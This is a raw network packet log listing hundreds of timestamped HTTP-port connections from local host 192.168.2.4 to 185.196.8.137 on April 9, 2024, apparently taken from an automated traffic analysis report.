Apr 9, 2024 14:54:04.568670034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568696976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568725109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568754911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568756104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568787098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568816900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568816900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568862915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568862915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568893909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568917036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568947077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568947077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568983078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568983078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569006920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569037914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569037914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569077969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569077969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569113016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569113016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569143057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569176912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569176912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569200039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569222927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569250107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569281101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569281101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569319010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569319010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569355011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569355011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569390059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569390059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569418907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569437981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569468021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569468021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569509029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569509029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569544077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569544077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569572926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569591999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569622040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569622040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569657087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569657087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569678068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569711924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569711924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569742918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569770098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569801092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569802046 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569839954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569839954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569869995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569901943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569901943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569937944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569937944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569968939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569968939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.569989920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570020914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570020914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570060015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570060015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570099115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570099115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570133924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570133924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570171118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570171118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570199966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570224047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570224047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570259094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570259094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570292950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570317030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570333004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570367098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570367098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570398092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570426941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570426941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570451021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570477962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570477962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570509911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570542097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570542097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570580006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570580006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570615053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570615053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570650101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570650101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570684910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570684910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570714951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570743084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570743084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570772886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570802927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570802927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570841074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570842028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570878983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570878983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570910931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570940971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570940971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570976973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.570976973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571013927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571013927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571043968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571069956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571069956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571105957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571105957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571141958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571141958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571166039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571199894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571199894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571235895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571235895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571264982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571295023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571295023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571330070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571330070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571352005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571389914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571389914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571422100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571422100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571444988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571472883 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571504116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571504116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571538925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571538925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571573973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571573973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571595907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571611881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571645021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571645021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571676016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571705103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571705103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571742058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571743011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571772099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571790934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571820974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571820974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571856976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571856976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571891069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571891069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571935892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571935892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571973085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.571973085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572016001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572016001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572050095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572051048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572084904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572084904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572109938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572141886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572141886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572176933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572176933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572197914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572257042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572257042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572257042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572293043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572314024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572314024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572350025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572350979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572385073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572386026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572421074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572421074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572457075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572457075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572482109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572511911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572511911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572547913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572547913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572568893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572602987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572602987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572633982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572664022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572664022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572699070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572699070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572724104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572753906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572755098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572788954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572788954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572827101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572828054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572856903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572896004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572896004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572932959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572932959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572968006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.572968006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573004007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573004007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573041916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573041916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573077917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573077917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573115110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573115110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573141098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573164940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573164940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573187113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573210001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573241949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573241949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573276997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573276997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573312044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573312044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573348045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573348045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573378086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573409081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573409081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573447943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573447943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573472023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573491096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573522091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573523045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573556900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573556900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573577881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573628902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573657990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573684931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573713064 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573743105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573782921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573817015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573817015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573848009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573863983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.573982954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574019909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574019909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574050903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574069977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574105978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574105978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574136019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574155092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574183941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574218035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574218035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574248075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574275970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574275970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574306965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574322939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574351072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574384928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574384928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574424982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574425936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574456930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574472904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574501991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574537992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574537992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574568033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574598074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574598074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574620008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574645996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574681044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574681044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574717999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574717999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574747086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574769974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574798107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574825048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574855089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574855089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574884892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574918985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574918985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574949026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.574974060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575001001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575035095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575036049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575074911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575074911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575099945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575115919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575143099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575176954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575176954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575248957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575279951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575279951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575309992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575344086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575344086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.575373888 CEST	49740	80	192.168.2.4	185.196.8.137
